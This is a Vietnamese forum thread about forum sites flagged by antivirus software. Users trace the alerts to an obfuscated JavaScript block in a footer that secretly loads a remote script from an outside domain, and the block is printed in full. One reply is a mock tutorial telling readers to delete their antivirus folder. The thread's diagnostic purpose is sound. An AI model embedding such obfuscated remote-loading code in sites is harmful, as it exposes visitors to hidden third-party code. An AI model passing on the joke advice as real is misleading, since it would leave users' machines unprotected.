[Thắc mắc]Forum bị nhiều virus

[angel_friendship]

Không hiểu tại sao, hay do máy của mình bị nhiễm virus,nó nhiễm vào khi làm forum hay sao mà khi các mem vào forum kêu chương trình quét virus của họ báo virus hoài

Mọi nguời cho mình biết nguyên nhân và cách khắc phục cái. cảm ơn!

[Hân]

cái này em cũng gặp! có anh nào giúp vấn đề này ko

[nhoc_oax]

bạn đưa link điễn đàn lên xem thử !!
Bạn vào dr web scan thử có chú virus nào không !??
Gỡ từng temp 1 xem cái nào dính mã độc !!

[namulaw]

gỡ từng script ra là hết thôi, forum mình từng bị, hiện này mình vào nhiều diễn đàn đều thấy tình trạng này, diễn đàn a2bmt hôm trước cũng bị vậy - nhưng giờ thì hết rồi, hỏi Mr.Fr thử xem scipt nào bị dính

[Việt]

:

[angel_friendship]

bạn đưa link điễn đàn lên xem thử !!
Bạn vào dr web scan thử có chú virus nào không !??
Gỡ từng temp 1 xem cái nào dính mã độc !!

Đây bạn http://k45i4.co.cc/index.htm

[Hân]

link của em nè! http://chip.us.to

[Mr.FR]

các bạn làm theo các bước sau đây là máy sẽ hết báo có virut:

bước 1: phải xác định xem nó còn báo ko bằng cách vào lại forum 1 lần nữa cho chắc ! nếu vẫn còn thì qua bước 2.

bước 2: xác định xem chương trình diệt virut bạn đang dùng là chương trình nào.

bước 3: tìm thư mục mẹ nơi đã cài đặt chương trình diệt virut này !

bước 4: đây cũng là bước quan trọng nhất, cần phải làm thật cẩn thận, tránh để xảy ra sai lầm ! Bạn hãy Cljck chuột phải vào thư mục đó, rồi cẩn thận bấm vào Delete ! đợi 1 lát cho nó hoạt động theo lệnh mình vừa bấm !
Hoặc bạn cũng có thể bôi đen thư mục rồi nhấn phím Delete trên bàn phím !

thế là xong rồi nhé ! bây giờ bạn thử vào lại xem ! đảm bảo ko báo Virut nữa đâu !

TUT Diệt Virut cho FM bởi FR - A2Pro

[Việt]

theo phỏng đoán thì họ dùng Avira Antivirus http://www.free-av.com/en/tools/3/avira_antivir_removal_tool.html

[namulaw]

mình xài phiên bản Avira Premium Security Suite 10, avira báo có virus do script

[Việt]

dĩ nhiên mình biết chỉ Avira mới báo.
Mình dùng Kaspersky chả báo giề

[Beelly]

forum em cũng bị báo em dùng avira :-S:

[Beelly]

đã tìm ra file js có virus
Các bạn xem trong footer có code này k

Code:

<script type='text/javascript'>
var str3='%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E';document.write(unescape(str3));var str4='*8Hxhwnuy*75qfslzflj*8I*77of%7Bfxhwnuy*77*8Jkzshynts*75lnfnrf7*7%3Dtg*7%3E*%3CG%7Bfw*75ht*8I5*8G%7Bfw*75wj*8I*7%3C*7%3C*8G%7Cmnqj*7%3Dht*8Htg3qjslym*7%3E*%3CGwj0*8IXywnsl3kwtrHmfwHtij*7%3Dtg*%3AGht*%3AI*7%3E*8Ght00*8G*%3CIwjyzws*75wj*8G*%3CI*8H4xhwnuy*8J5';dF(str4);var str2=new Array(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,99,51,122,46,99,111,46,99,99,47,104,116,109,108,45,104,51,51,46,104,116,109,62,60,47,115,99,114,105,112,116,62);document.write(giaima2(str2));
</script>


Nếu có thì chính nó là virus
khi tạo file js này + sao lưu thành file document thì avira báo có virus

[Việt]

:

cái đấy gọi là virus à ))

[Beelly]

lúc xóa cái đoạn này khỏi forum thì avira hết báo có virus

[Mr.FR]

đoạn js của đấy thủ phạm lòi ra rồi kìa anh em gianxao
máy tớ chả có chương trình diệt virut nào cả nên chả báo

[Việt]

cuối cùng cũng đã tìm ra đoạn code mã hóa của mềnh đọc post 5 ở trên đi ))
mà bác nào gọi đấy là virus thì cũng ... gọi là gì nhể

[Beelly]

cái đó là nguyên nhân
:

[Việt]

cứ thoải mái xóa đoạn đấy đi

[Beelly]

xóa tooltip khỏi dùng lun

[Sponsored content]